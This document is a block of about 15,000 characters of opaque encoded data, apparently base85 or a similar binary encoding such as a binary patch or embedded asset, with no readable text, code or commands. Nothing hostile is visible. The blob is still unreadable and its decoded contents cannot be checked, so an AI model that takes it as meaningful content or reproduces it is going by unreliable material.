zOq|!@oIxF1$Y(n9&BrC?wm>vV#Tn!qO)3p)t&Czcm&em*CMN285wF&Ym1l`&*# z%%%25qtsVJ-`JVjA(U4iwY+4aT}>X_VmJ;O&w_#Y-cuF`N?fJ4_pCq}$1H%3qVrlr z!{ZwE{VKiGlVGoi$hQL9d%#%;E>p#Ej9$LrFsBHF28Y=dD*ri$*v%@Q53+nOpED`% zY3_hqd$5cuzd3}1B15Z&Vc_bOD7GdlSnm0HDHtN*9JGQg&tufNu&M-78 zv9NwB__7XMY?bM$!Ej*|Y|J63R;jOW)Kx%Qs^?;*#V8+2RzhD=*}Z(y$CbMEvm2?A zPk0_&%qA{NBcUTt@BFpW|7&H$({78M7_iPW(nj0ed74@OF|F9xn;|#RTIuVf1_fAu zL}FeL?(Qrntd($BRST?YafB+ro3mqXxnX;bXnLD-)usEs_Ij9$w+u%VzwO`t{7Bw2 zfOA(xB5_T{49K&UGcsg2^}P~v)MDJ`pobjg09ypy2dKm)qG%?SH zWU+QeT0T3?N`F#goau4U%Ki9+hTR*gi(x1qv=+_}-&f-ObWX}!3|mPF@{IBZLVG;H z0=fO|Xd?>9O#a0TxkDT0vsM5%8E-yJ@r{B&&UFc?E1RUaW*!>N;7QE?s%RE+;u|aW z!n$KWkc>7yCrCmkfDAywm_+>!C72*NJyB&o#^)?lZ4JoZxFde(?~vy;KIt!rIw10w zs(_4l>kGI>*D014N-^!BEJpWf^OQVP4-qKm(?f!Jsb&~6Y;TTy*|ja!2tFBwMi2dW zU0q;xJz=quJpeKvWt`U=qFFzqR9vyq$Zd$Y8VR5C9jSRZToY#I>r4Q1B6j#+z)f7g zcH;N$7v{Gtd8gm=bxivla8k)eBA4ZraY|iJ1as^6(i6^_O>cOlsV(d5ITE&`0( zG0-iVGsC3B^r^xf)8Kt z8KZX&4CDNf>$#596%o4~lsH*5$G!^4sK@HR!C1iP5s)~G`?U8)Wi@yrz8U%jGitfI z^JSaB5k9+si}`5oYb-Y$t1^LMburgu&o#1diPGpc?p8Es1@id(z{y4>`+^FMjxtA7 zHXicUp(=Wr>k_vCymtk5mI-^7^$P1dkKL76WA2lUFFuEGX{;d%=1C_5Npwe%D5!h{ zatf0>_Lea%G#$4ijM9p_{HAwZ%$R;GeSr(G+Ozn9N@& zGTKxD2C}?ymC-&G<{B$%9*gTSHLQrvmf|xwtY<3Qh)jM(h6UvO)YwcHp@;3O012} zgo{E>2Ji4czVOPK$7drhZ+da}%GswEMQsJ_MOV)~yBybdX3f2;=cCS{@&2#5=gfWg z)QMJW6q+M9Q|f`kV;vusWEWC<6)v6H7y|3s-(4=>HdlIO)<=X_e7|TuJ9*spZ@zYG zHrD0UoAYCBZ@>n7Rv0e&)zO7^2q2|oU{>oa6g+GKi;$G_1*!W%pHP+?hQ)^9N^Qk zzHURRLPYU8P3$Fkf62K71Tnb{G~e^h#)m`brAfL~TTjWdpJ8aLlZ=R4TH44ql~b{F zch9M>h{adRZ~%_lKNR9xouuYtwkoqb&FLnwfzS%ox>X1rUg=?EM=@6k+@4`orRfn1cT5`+JgnWT0LYF^1^) zon@2H-8dR7#LBw^Xm+_2CLiZS$-eKG>*%rHf$Z9@3V4MZ1D2xKU)9{dahLD#KFQX# zVQ1G_32fEs>V=k>;sdJroI~3CK39360#cLPT*JE7kL%8b&R>%p-O%m!JN!}*zx-j; zqZOM!Ta?E9eU768jj zto=%|*VXj4`sp(y`x3e;zT9`MelY@Dym>TC_k8D-nq~WLVB-UWg|BNv-0!MmA9&ZF z6P4grt+S!~4$2Rb<{glIrxW9ozZPc>w9oM;K>hQjSW|l$X@NISPS`Oa-o9|wgtls< zUiRYV;@R!}Hjo}Wj?14hHkJLrdw_=tz}bjD4Ewx{cm)SBugB7z7_NciVVlB}_jTD` zRG6%=TFfu@`ts;<@fG3)9ghCr1N>mMC{k_5_H}^rvVTs|h<|TBGT{Yz@QvKxQ zQm^u^XR4r0w(OBc^9otv{z-+4j>>+wP}_!r)h>5Cj3<}aK>Fj1Uu)iSL2C9x} zqYc8jw7_nZ$Gy+7LP40Oh3ETdBu4!j%jqLk)UB8J^a~;!K7BDYwL|jY8v|#G?#J<6 z0kaYhKrQg^Vwzx!971NV6qaCPTpiIVDH0K8Ild-zrrm<|m zoiQ7z+t9(Uf*XN%h@PJ)S61Qhttnn#^v1Vj zQn$a4w+saf*AuwE_7`rFTbq==4zMbdRGcxi(?1@!VDnut?@f53Isw6Q0SN*4n4Z!d zDVXNfD*GE->t#A4yk?t0-kC>L%=u&Vjq#ynwaJkWl9w6Wsw(zKNsb8HJLZ?U>2X0E zoanOeOjttbU1sW+i*x74+qnp3pO?9AcKlcHaH9 zV2kuU9Pr(^s%y!GZAb47yzy$9(TShA+~WDu;|rUtAF(yb@n(nLZ@PVI0ErKe_ZmE- zJM`m<>46J7Y_4OI`Z4rlYQnsb=(ew~R@9s>{BY?~%s=PP@oxP1V5_%Viw(Nk*Rt*Q z-Lz$AUYwtBS3Yxkozz$UPYrB%j#~%nw-=NEGv!9lwKz`9oc&30Lt(40eVq63KhcHo zACCX#&Wu<){_0s|ZpVY3hTH2nDJ?-~W%$|a_@r{%8THvOR#hm=?xYuANq$`s|L4Bf^NbC13orYBh|on!gjTLQ{wa(z z-zp^CzVA<~SapQ3_D1u`TN62RUPOEM89WNS^#lC;A|`!l*R_T9FHP)W8q>$|qcIl2@|NeYHt{jkWyf=!He(vtQpUkPY7&3VXU>OVv zBf)%xqWgC*!4LsR5icBdLEE03y_ABtO+nm8h}FdUGBL5Cm~M$<>-UV$IBo54t;Ap#w_K}XpYW% z^iTe4N*eO2`WIuZYXG^!@}BB^*7OH6fiDN_7UF7R*1P2&bBym03&jW9f$c!qy+hmD#~4xJtHb*N>!iOfXtatrKH&ex%YByHB_$ zGIe773mIu+?|LfAJDhZ~g`p9J9#?LxgLX%%fbVvkJ~@FZHlQ*H&$*lz8a)S=F%^IY z5Rwzhj6brhR!$w0(~iNIo58|(sYHJS*a*|=mB72x#2&z`PKzO_t=`LNeGG!VaZbeO z>WS}0j91tJ5j{(uGZO3RtI*pDI6nCX2+$k>0L>8?j|S)UacLuR>QxPq$k?^wArOhs zM#T87{p%fhu61&$yK!m+ACn{_ZSSJa;w|@=>9we-gFNan4JNP4$yAGJ)X;0ixgU&E zr|e>XU9pSO=!J3jYz;j3eTW6t+Y3kf?+QZUhC$WOHU$?Xkn7>rfWno#`R(`Yl4fCoS>vK5@pB)e1V7Bayg zF5RG-HqN6z;}IT|?p`IPy@K(Z`yy?XxLrb=iF-0uRZvY>;-s{wT1IzrU{Dc~mP_}w z-*8cl{rPnJxvsQtZ-gkCFjS|6f&t&EtLwXKlLt>7+U%A*GkA|&OWOy4yG^3mPmN|f z({l_Ef%}mo3R=W5+D9HeRVzu!S(O10-o>nAYOsB3YBaLzl*tZD(>U=nkjubjbMXm# zk69iqb=2s6(hyTU6O)dDb_}e(i2AH~pAN>%7GY#47EA$PiDhghz@9^KR1~{QS3MNb z(Fn1t2yu4fK zUjmqO6HU~6v$fbaIYD+JEJNgy$f|sJOmxKIz%SDRHUlI9d+df13>h+_9N^pmx!MzS zQMyhH$aE%{1hkP170A^kp>O5aHm17f0(dU|`*x5Z0vz(?o9wFa00>S9Ijfk`Bm+A4 zB;^;qMG#GKEAiL()0}* znfW_*jido(Zc)<_Qoe?etA{m%50@$RQe}jA4Pi(`&y_{8no>%403_v_{U+Jz#ASMC zPFab)EJx)leq`u)RTKtnb|6xBbf=vPw1RhTi%eP8nL<|rr6zkY2S9>iHS&~#=+D+)bRr5*lO7gy+>Alc z0`$W&!dek@nhRMH&o1!-AW?*lfx0^Z6frld#&vt0j;u;8Is-5@!t@NuH7MQ1MP3PI z$O{0g89?(-;l&*iUHa*uCx~|AZmaY&_1DjwKa-_faLVr80=$y)tQi=197a+?f5qiV zDH+=`4z9XEooo!RLQo;ST)xN_Q=-@Bej3qNekGY3=-Mbj5>=J?U{H)p_YW*I3t08t!fSYEa8`ibJGZTehX9YPsk zP-;bZyJf))EvDoiwL?q_hU?G~W)DEf=Av6T6;16>#L#n?b(Kf>8C+DXrewh6=W0rw zb}^Gnc_E~I)6!n5sUrwbXHpHvfrG9s)nQ~GeLJ6t1F+^}ZFslcKtXW{DlB8BryJRF= z-uf3^S!OtoI;gppB&&N-0yb&LevH-u;dM3xLx7=MN@|~s z6etIfv)DQzd83Hbqo$NFX8!@Nyg0?~^qb((2Dr3yK>TtLvqRi^Rz~epkUT}pDI(GxorbUjpw!VeIf`^bKP6iZHOQ#fMELu^fJkNja~Zirh%tyAK57PK$y zZV#c{rocq34^@HUXqC68YfD!bQPxsAVticia^j>9bty3;VZ1{;-c37a^ty%A!&TOE zG4;V_2ec1P!_by)jG3a&3Fxf6M{J*>+o_2DbnAStcQ#^^>=z+Cz{GoTsLoR-fPY4Y;Nx|004rksG|5kkilR#t%joT41S~ z@)e<7oJsrDvSB`o)a25hE2*O*l6x0ORI*=bsJH*nt^m2);A^V8(44saS2c8$V*N}^ z>pPIegvk%p)GX}10RU?11!nb7Cls_Th@UwV_nb$6g>u%Fv}3X?Yh}^5eU!Hd#})9U za)~`^(lU*i>aoFyuCSUWWa!ID-_aw)E+e`OuhG&5)hN-Ob}AjPg2DM*3JQ+?E+Snp z!;K1GKH*tig|UV*tB+dR3pK@vPunV<_A8m``5H8!_!>)@keGDU0py?AWhbKCI8Xh) z%*tvN@jF6$fl%Jgp$5U1P(o!LV^91#^0fN^lY#G$QQr&cm52uAQI5~KdBA~QBEvu$ z;*VW-zsjlM!m9#pZoN14qlV_b7+j{Ie^d_s*E4uoiMhLmlvJr6P~z5a#&7Cr*8%h~ zfH=UycZ;ZRMD$?5`x%2a!5wmLyWe)R?YV~bFB+!h;k$dN zV;WkeEV8_dygg0fYYOfX(k-)5+%i46GK(rFyx`JP^3|1^*FrVrx$NCAgW9L2V87Ds zFT8U6_-fhh`yU-cwT=%aGM6)Xr)oDf-V8;*YXhcQ4k*@MO_(@3>lfEc; zr(4t>a*rV1%al6WClP5R4O6S3dk;`_J!JQOKz=&%KG(_P{1>3!DYP5_M2#30GUl4&=6NpmzA?2Nf)qErp}n6 zjj2)IHSP;SJ2kk_jyK?;2FlUW0GQRjgm8K7e;r$mTH@(XGn}6_R94tR)3vwi!}^eHm~~dC<(Fi&A8gq(&qJnJ_u#m-!#~#_n{SUEBH$XQ8cM3g zLko}0v>~S3JpiRN3){yA5VqB?(s!3z*Q=hFb9wVa?%1rfMFlc%Ss^GwZ(es27<+{9M#_eG4X>h<$nwpW_S{bJtptBKx1jnXAFt7YDw4G~FaI4*Nn z?R#8;wZ>Rwe1UxrIQMX>jwcPSA?sK1OOxLg!D{$bp5e-G&c1Q=eD=+h12sPHz6N3q zQobxSI`E}?(1}5nE&eLqLeXFHsmoKwz5P#35lfl{8dEv-uN?bF4e|p6`K8E>EDOe~Fe`$Z>z=4<<76sb&%5a}iy)5sMV{Z++ zWc3?M2+ji0;f&NOf07GP51TddWbxDMf#>mmDCuR8_P*0@L!R) zj(={?CK(_LD|Jyy*ngi#Tq9GscIq9TX4_~VC^O;6d)x+&Jfr4dg{rqkp1oC&k!SzI z>EP?q?KH1w&?~m9GckM%+EI%xh%xkTu zIo+<9kWnBatR1(?)3Xh!l3K75)f+fw<{lae$i$E5vL2BacXGep27IKD~kO047d)E+> z36bMT(?B9ugFO)?m<-M$^puBAGBiubH?NLo+2t*QV1UJS442xl4B&}?nxK)xKB zeRpFOWu21tSCdy2$t&8RePw7ps`RtgAalB~^JnNU`+DmDjpqnpPBb$0{G<1;N4A1% z<(;m(VTqM#n`M)LJ!+u@d|PbHQTqk@IHVc!n1t&Sh;?K8w92%2&dWL#Mqf+JIG2Sp z^+0%9z8=Wpf*m+eZtTEX;0BZ)o z=~IH3ED3$lx%0WhYml28R|%*w5fro7oD`e2s{3K@OS20CBB{6%Kig!Nn~LyYeRaw0{KY;uMow zb>ZV;T62KTx2$3B4qKE4z;%+Rrc-y0h<2QqFzauBQbJHhv){>D{q`W#3~e+{*bqSY zt|iY{2Sg=u_g>#E1iBr7W3ue6nXkS7`Ss-Kt-Q^M#Q;c;k+;%(MM%^_G4xr0avL5g z1q{YMpIORT^kSGEvr)QzgEIA-JkZ_~!S2*(E!p|7*=TeTJ5D)kOFE!md6ZE`9QQKB zP^PDT-Om)ivaBNxVd10`+?#YtiKdP2+M@cQ8aV}i0RFTj`I)o1Vh%1I*h@o+&%$GEm2w3}L<>?`0QxWb4Qt2>lDOgJR3wmVVC0q!wu- zvj9vJ>g0d%H+5F}m)E@g*SecZRpH#ox`1WjCrz6r-i`UA(rW=kq9(|<8&xs|vkuR= zav*B)`(ENY&!coyLRWIb9#poG_dIc$K|#PHGjE0`DuZ3_ZalhTmeTldUC!C)KgHe* zU{@-_ckZ{szpWnzZheOxnw`fprbJ+mR%&jqr4t!^_82d_xn{|h&9PDc#qU83eX2B85y$D>KT3%TbiSRVOTl(e~in&I8Eg)@^j zkc^YtENfZd+&3Vaz6tnf0yJ#A^Dq~h)IGAy__PzU5JCI8Q0fK`CMumIXP12awZV;u#GdoEopxAI6{V;NwCjDL5mUnIXpG;{k@*}#zlsqifOCT zPp&}!b6^)?hX_iIBe=?I_4{!<<+)U`cau;NFGtbiCm`$`y^`ak%j~~<0jEA-CsArJ z$s=(&`qk4dYW5mN&B+}_rcO%5_NXj{=#R2v<#WuvbD6-LrS_*e!vI5Z63^J{IrGw_ z)p=T7PDUw#r99!tgSM$Lj|9MCEflGAb{clB*Y2GOn5S|fu>gAcPO=9et9vOfFyv8k znM$h4)f}Wp?nTeP5^Nea6-B8w16B*TM_7#=lLXYBBnF_wu3TnZV}=m#l>h{2ig%iG z#1hacKX7cau~2_*XjHy^hSXFrx2fM_o(Q1j0|rV$IwNP**|{!h013v#A<~AgSE%;6 z8O_-Hza=;>l);0-!*3@x=glG7ZX-$^(~$nJgcMOH&GUMO){W7~z@`y)bYUVQq}w#u zB{FH4(zzqu-BSj|GMqEEOE)l_%~gy{4=GL^Xe-0mx`Iavf$ZO>a^545s5x2eF@Bk` z{-A7c8-h)fCd~A=u7?6eh%OA-k}M4ioWHf15H2%o5_^_zwmWtMZ>}xy_2|-}W!IO6 zavYMRDT>^glP*r>!AoU;Y(v}EeUy-x52O+ygEVBT60)AWN~r^NtrTqif|B3F15ml&o>C~0yY!Tn z|MxPaE4e#LDhI=X?b!tEsEnz_Ws31QEtuY%M@GT9lLTV(LU}jfAk0nXvbK5PE$Z$~ zx~LdN51G@J{ptmT35fo)oOMblQ3%jjpbLZEqE*qjd*e%`9;JGrQ>qO_|4PQ<$U0~V zdMwsTXfq{90pM<5seg8vLk_1&JZHOH=2V{ZA|F9#A|4s;&VhIrTR%dnvs*&Iv93a* zIM+PP-y9^_mpISx#?OrMgni_vM!Ekepa=$T=A!A2UfUWwCr9hyxsCSDzg+NlW+_SJO#|=>9nh;9<)p%Dj~#!tyly4mI|Bv_)Eg zVCY(QZi0Zk7qJsVJK!sO6y~MU~|)c{{NU1O{fFHYfH*?qRH9Vs+=%8}sN| zd?td2)mb`ABHrdXSihOzpMFOdXgG7b;^aLr>yE@)gn1B{Wr?bv#2a(skV}0yRPk?| zY25PY-pF%+n15py{O|7d(2cem%jMEAnV|hnmNHs#9|8EBLGYkXf~Z{c{j zjOIM%WW)nU%z-uFXyy}5{e4N_G$*k%q3+;^k(IU#C)z|}j^ zcOEdf@zCPM!_aDkkT1~-Lx@CE^HQgnx^iL{4*%M0P1f|-G;sBzxzy5QcU`inAC-=i zd1K3fJ6@C^8Q|n}r$rm;QUuHr<@joa&bgN99>^Y4c#NPr*+-MX0&yucp9i4R;B}=^ zfq+c1=l<5>R##7_dq|Hu12`UX;BKy|C{XP1C}7E>1-8y^+mU9LgrG1-X(_WjpcGj) zp3z7ASa?OV*JzB824`V4v1s(ycE;ndC6A+;-Dw^`m|Pm3hS#O>a`19JV`D~LK8|&v z-TwLGwLOJ+Zrd6WSeBk$pMjZE&;cR9`dnzkE{xt!$k}z^eiRVFm36KbM@3-2S%U@D`vdVHGVAog5%I2H-xbupt~;-*Fh1_NIwAjAsoy zcSu*;M^>U}%H}g=dN23z;wtKMF?DfH*%DoR9W+}2;QxP8^AkO`vMk-ak(C06q*;uH z!_df>8Bt6O(;|=u5+sMxqZTyf{wKY{q|2l=Cu1E8ME^sfz6o6JhJ<%@_lz&LA`T=t zuHM?>=%hM?1#;4r1greB{oNR^BPMsh!Q^Ym;SP(VdGRZ8dG|05kEo;zCCjqb4oaG<6eeA{oj8byKr5BfAVvU{ zyD1$5L};Z;hzE4Aah9(U6?RnDZU?APk0g~&bEdzd|q~8 zg~+o`B;iU-`z4O0c{|`7Q}N+TbGGhKU~OgC?R8RD!7ODOl)}rgo&*izrWy2u7Fx_Z z4c2@VG*++@(g_YC3^GwM(Ul)&FPY_JXI8J5au^avSX$@pP1j<)1vwkFC~y~~rp^9W zgvk5PpY$LlHA{$G35&J74$ifhl&~ftdRJbC2InBeqO9P}k?ngX9Ua6-z@I$-^#Kg- zSJyZUt zT4p|BHnN}e8AxD-I=gRoJwZC{z?nV@N>5&J6-kq|m=sH2eR;MnL)&Sm1%FS^F%}~) zeWiRY=nEJvlc0t6iQp%8nFWyGU% zBwd?Nyb4OcSb_7j&<-JZ2VJ!_agE%aSwl>H*z^ ztGwg&DS6nyyTwoi8#k{13}YknzlIp&Zck*pf6Xsh;^New^2(2E$k^w1Qy{zT7s^JA z3+7f%BJ6LrU(u}j=$xf)RnJ&q1RHKli1>Y1+x>7R(A(|$Li05w_$rS-=tmT^7H1Ds z=t~Fze*^sOzsrX2@B9`Rn~jTNt10vHc|4Of6d(RRpLgr3_j!zHKf~lx$+q_+_nzv- z;4(FRg)|dafarUFRISwO(sj8Et=JmrG*f~nOl@3Bz)24QYwU` z((MdIl1o%7)h0=$LN`fuhLEHcNu?S|NSab#^_Bhh`wMu^^YEPW`F!55cP*xP#TvWc zo_Mt;yW&+}YCje)S!@1UmP_c~uTd>vAv~9hdyYm27iEaWA-D^$YixnBkQZI+u zN_zvB+NKh4_w*tA;yq-hP{l0^Ws^C<^YtPStg;h&;23jlc;!m9q1!)n)FTg$*Y@!b zjx_a&Dj4IUBF?+~Hp_s*I`Ull4~FS`p-^_X%jvoH`k!U5+Zd zf10gdtE85i!^4mJ_FFl9-`TdxOk=(c&>8Oe_;l}ttO4~<9hFkuBg$znU9Dw$Sl6b_ zWksC#?pIK=IZ2N4$V7p=%fyA#`&=e3U3uX0<-&SdvF;5**;9wh^#aAte5DLy)s<@h z)N*;!9WmzO{I&y$I&P^xw!1fak)5cHttjcHq|M)UXntEaK2F^~$Fd{UxR)V!;2m7j zyHWkG!*1t#5bII0G3j|%vH|}HiLpln z1)9i{6pJial~<|~0O#m;%=JZNmK5CoYnwHsfUh0pit(YuQ~$0GR;Q%lkiz3qmMiW_ zEocJs{#earLI5Ivr>fVEm>s&SY!fR1f?z0XNa8yiJaap{;)1Ozf|?bIj-(8=s=CiD z$9G9czJAl-2H4l^W-tvWP%_QF9AZ44|?M5mXNO^QXp06Q(lr*V5V&5UN-jV&y5lsaJ|>{31MBwC|#dev7Rc$->9(g$%ft zi-2rrAEjFj1#T97xQk83PE~1TDL1oms)L?(j?c3vbHzFrQU^SK1rZlH8fyll(E(#d zE5p70^|u-`h|vTuT{UYnW)P~KxJ0ouDYd2XK&vV&Io4+zSlWeqk~^$yJUWdrvGB2P zE+k>(8bJCYDwlgst^>dCvV(i^{Y#{0d>-rgoN@cEwe?pHPsh zNMJ{3cAD)pH6zcWI%p6~s0Lb8+v6ch*JRi_8Q`)6R((3y7M|RUd$e;Y#zgkW;abp5 z;^@s~=8?~IMl2~IwKpJYiK2qFl>ATEFu($gN&5t(c3qa0oIk4dB9(kB~DDi?^Kda1VHtx(w-(GuZi1 zMbe@ig!x1nLGju7s_e}0#|HZzuT@lpv33uFK2K20hRXP5ADVVk#@YEdS`d=WoT0~< z;#FH3_in1j*5UXz9*j6ELOeiz%}UL$M?oBE8AwE5KsPH@_5ZoTj4nC^4R#BN7I1I+ z?X>8CsZI~yYLLFbt{|ria7^Z|8}9IFTONXU{@1XIkAg1u!F7vwfiyr5v%nIV6ZMWO zc5kJ5QO`0SE$dHJ1b=V0H4{=@%xLv9H ziSi^_ZjJdc!*+5yMl}V^q=%0w%fs00=m)qF!}!#Nx``8qtzpMk*K{ zb;0P{M3tS(dDCg8!!?mjFz-mM(7uY{SR}GLDpJ)FIW<=~O){6(=wf8qu8Gj%{2a~@ z=5#(wdxJ4m?c>tyIHy0cOFKSV51e_s=18n@nih0C$pWJ#2Mv9 z5j{Q*)5Zsv&^UiSSPkU=F^zYR{K%a)T>e7-F;`&n(`^JCsq)=0dZ2W45bNwSoeF>J~%$;O}xc5qd@$H&_L6* zVWwP4b)W&jWnVDwe(&8qY+O(sG8VrmrXqO2*t00%fN7l1<#>PJ3z3-#5w`=QP6Zxc z249>pUe}!vV*4RvvRXT^>gRJ4lgJDF-uP3?&bBRr-7HQ2VQh%@jSOX&C4|)^U_QZb z{P1;ZyXMwJCz)aEf*CWPz=HK7QCg)As|;EVO;g5Pl8t!H3APLtquI>w)aZuvu`O?g zvE4P}cgJ!?{OHXln*8{Pf~u`WMg9fy5C4)k5)1rOrfbGcK2HK>z9Yl&MaDX58~VD& zto+SQA~#Ox@|~v>V6~5Nt*ipzGr3W^!}H?iqh<%(#+<5%+rKkI|0LKS6pfdBPFOHU zV!|sVINZ1d2@J<4q5{vC#2~It5~wLbHg;f@9mHBmVoj_d3M8i{R{uPnlP=cq8{eumzWx-0 zAVoCW(Oi)Q&Zc%-O?6ao)j!=9-kBr*=|F+Ys&c*a8&08lr+}RU)jLo1?#)ba_&PAX z=pyljh0bqOD;3ms0H4Rp`IEUWx$ zVm8)8E>kdW6H2Vh_9*v!J0Z%f3XI5oLgI)OjrQ1C&>d)_XgpoZ$GW{SZdypdS0bte zF#(Mx)B}`C0N9Kw&lXym7+X@TnL5^u8(7wtH=AKjBFbFVe9MSn9l!5k#OiF1ofz6l z%ZQ;(G!3~pBs$(EGS>S0#ee-jl&h?n|1I@yjpD{igFy; zkE=RWK>T&}Zj~Q2tLT8YJXU3`nh3eIbKidA5iGJjhFUM2o%(j@>l5E=+$4ZF55IHg zb`>2W&m$UspxP`Vb&vgiY- z*zZ-y%iCPf4L-H;2!iSc@4quOI-L}0+dxHG-5qn~dcTnSYQ zTy{dY3odgTa*TF%wZx20cvs_P*&gxP%CN#iXrIT&8OHk>nG5)k$I#<8HRU3D4mqy;M5%o9Jx&FJt)2%YQV!;+m03DjV^rNof4j_z{wvXwXv~z6tFI?lou%!(y zGd{UB8eAmI`KJeRl7QE1&t(Z)_p*CctFOQB$j!bia6}=uj2xzg#Y!z9z67-_f!tc4 z#Q~s|`E?h=#Y)~>t9nnTK`*D4>_s$i7w4Y}i`vwm7x6n$rnJp!sz9jq6iGjaPkpO& z%Cn{P2(5DK_taSPnELG7*Ike{lFi#26S!G~&E$4zd5mo1=FFSmd;lgie{ z>eeINrw)TT&N7TO!ONNrFO|1Jq*evA>d^1GD8MV%Cl=b-%DG84UwKLu>ofbk!~4p2 z%St#dTXpEbVN0Jj*Lv|C7o+Rm2u7y2$-wc<`1X*pYT8otU_g%RpqF0aqR$pYyHQWh z4ahM6-|r2llDL^cB^hx!4BOhg-K0_atrFwjwt8PdgKD+anxiGvY7%XQs7ti^D;R^mZHRb z_{cRKg}m-&k@3eLQI+P{N6E4OtXngA0Vs=1_jv|jbAMDU-(|gRgxHP{nqZRRth^<0 zvciXOQ(^69mx*Q<%>hFN@N3^PLJL5i_d5Cc20;P~SMDP2{IfUW#-aRO>+WpVugh^t z>NxWNRUK{BybVy;o9;LFSyZFMl3fJJIRxiI-r0Pz&%bRC&%*Dg- zf9meQ^FGVUD3^%_&4yPk$Q5Xrz6&vbGhwv(;zeNPKk-}d!`JR0E$4t<_umx{k%xL% zV!NyOAu{ta)r_FH^Yue&)9+n8jUw3q5ox}42l;Q8OGM%pQf{KG=$i5SZAl>qBt;kCUyZ z0ns=4{2*q@)_7Fi4+i&mxkWW`IsH@{WK{S zgWwLuWZC^KMbS9G1b@2bczAneD&PGpS8x(=(Un$}C;-loN|;AnlWUuvmYpbggrn## z_>@~LX(R3Y#g1+Ny!z?E{p5h{yVn&nTwJNn)uRZo)-8nS>^&+G)`fpa{=3wwo?iD>f(cE2Fu0@c1*5F90!Ie zZtE_$zTACcBDal1c5XPoe0B6Cr5)eqzTl~6t>R_}4!ow_z%I^|kBJWZ-7wD%m;dx+ zjSJy5ZhLgU4sZL{s7*QKSKzzgb&JoOQdOnrW~^J>couKJ$tqEIvmpEfU6GT%Q1qUY zb}8Fic8R(6eyDQ)pHO8jZ@tp=yN_9ECqnM*pIx|QJu3YWKxQvog{~J36ccSC&vxIs z#<;tLnfYhIJm^Ap@Xx4aKrN&2l9JZQ=rCUSmhDcZv-JKqHv0ReO=LlIrB}kz-FsLp zjPfY+8Y468E)zPJxS}D4OiTS-`Lb$F!mYJDq4XRn7WTP+G;9XU)=g^od@Q5jzm7u{ z-EGO>)=~fSg1-(3Pd(#TdZ&hxL%vigZfwaTogL%DzWF3aXHm7fqi_?reY8Q2QOrbV z0@&=7FN=?6)vOsc$eNltcu;>Yu$*yM*uY)%*T{vbyQ^FDxhX|9E6AqUmSmsi4xco; znr9?7*9`9x<_SdW9zl=LR=ML(Q?iGqYe_yf zNoI+CNbqd9sB5Sp%Voq3Z9}L#6h+M7;&#=G2i17teB6Z27=T$l_1a`O*B`xVh70#M zKbG-g7bg4AX3tngYS)$%IS!uNJ5Q{gT=pq9OrLPTd5zm9z=(A=O>VA{tZ`~A@4H6I-`K!zRm8g%{RsXySo!=T%4Iymhw@&2+MgqrN}3 zygu~(30I4NSv$GL=N|##Xkle&!0SE@T_hi45?L0Yvdj{`p+o$ zgkT{uOWA+OqRH~&LEQlun>hd6SAG3Z!$tiIc0z8kUx~=P>{3TBOy4o~d_#FqGk^3` z_hU6sb9aEH!0dL`{*8Jm;{x-d?-lfl@qqnpgM(#+&UCYu`!| zYWa1M=9HBjRrHNZ zpcs=UI;UY@x0}y_;((8ap?>N(DNKzYWkQOc7X~~`*&5CdH;@)`q~fBe&{)mB{8s!Y zZt*|i7`M+Y3t}XC^X+L=fZtDs2cMW+esX7BTvNRQJ3s2`KjKgHMUd!}vho(xFlN?fUyK37A zstBObzodAbAD1%wgapa)GnC|TPr96!$3BQG9mU!1KE}p#jLHsadFO-KyyaGn^+g$e z!=U=(uJkh48sCeBc|wzL_Fcw!F?l<2IYYS7C?J#y<3sJ&0PZh*E15!KSkF%e9y#NL5vK zR0`bbGKwO&!D0IN&er2@YqMkKA$4mh-c{jFgbtps(Jeu=NBJZ}Kcv~l)dyqogQ|?8 znzL{&R5(xVv-#Ih8vz_-&r7L`@p-?R9{qN_ahmRUEtXi4w`?C%KsncCPH^`5?2r?! zv%DHRS)XSBONI#n!->>O1#D4;2PCd3j_O({| zLvymCl>Tsx6M}ag6e5OG7{hyh2zH<3$SxFynECA<;lmGo|9jqsKy%!~>@Qc?@ozj~N!Yb=*1me5AD8cMJmzEOzc84~=2kqd@rOH$-viEL! z5aN=8zFs@;r5d{%Q0rMjS!^)WrGn;OtX*Z6Uzd!X+^O`$>-QDjtsjQVuL|&Q@d~|_YU|!yiim6C!Pm8?oB~7zSDBb{)qJjFFYACqeO#kOsUNmb zR+Pd1;(Ph(1a8Gw>WKzA<8^*MHXS8zuiz>Yng>0OrUB)vjjjAAWw*i_>W3RPLoCLO zB2=K<1TIxWK@?VabVxWCSJ3mQ0W_wagEhyAXTlIyy?iT41+Ph%=AXN zsuY+yC01V{d^W|yRdN|Fq~MINh8!u-!=ew3j$D%(C~A)kn9od5{2ohHg{m6R#fTcl zaA3@UjoNKv)0$Lp2&LC>2_=`F$6(T(dEonD`U?~aXulUa0t%U%E4`U13H=Kq!XGT& z7Bwy!f4RU1U-0P7B7y;e>85FFDFSn3_bHa939rqdICO!pha{$%wLW4<3B4pr@XYI~ zBMcan$S*^N2SqXyz+hagP_03xDOqLfPzrax_G(vXH@yeMn@BN9sAlBY;N;Wyg981{ zDEYluX9ZJjboh!9Q#;DY$aRXfL8uiuCgli;Q+!>at&tH>P%>PRhye$tdTpf`??OfZ z2<~H+FvOs(5KoCC8B}3MhYiA!)_wuK8tzO_`J8p_j0Q?0*n$OhR#_)WUn4~3Y3M&uaI0HX+O7>pK8b4H-y z>spW7jrSR0+1!aCb6FQ(HogH0O3_s-j?gLI=E)jd0cZs#yW&L*x!vN+V}c*$ZJ?A% zr)~b25nI>3;-{m~bcLlx7;2pBPiYqD2XZwHyj8J*>VB;TrfBe}nD*unUki0L+w$Im z&!`h9Gk`qlum%Yw*A_RHm?WNx(@08~X;-MaB}sn02{hC}&H}T8yGQxzG@*jZ=x zJPJCSYXXZ2S82)&p11|{mvdESbIevqm8}n&%P|Tm`n-bwHLT~VWMumU_QZ#_61Qb1 z7bSXAnSqYr_Rs?Q15l}g;GAVc*<#<-YqhFNV{cC!P69G))oBwV?Ib2-Af%2Y;j;;b zkt~pnV8WO;0>r=+ld_VjInE-7N!fq4(x*fW=bwfg$*BE0;QWzQ{Fmc2; zpiN-~J~oj$cn&A%!IV>c`WU$KFJI5%u(#`Q?&-|s>6`* z>i@CMAWtYAkyZsk>0KIfKPFKs(648kGB>F$HTLN?3!orS`EqrcKr4!bRoKwAh)MyV zs8dt?H7a#T>FF#;h0h`hmFhqSzy}9?pqNI62@8{msdylg8O4G%BE}0eA;bs_-4e3w zrG020P!!AvG=erWwa2-X{wnNIF{4(B84^|`B7M33*7k|fLznDN@%bSp&>kLrlyB&Y 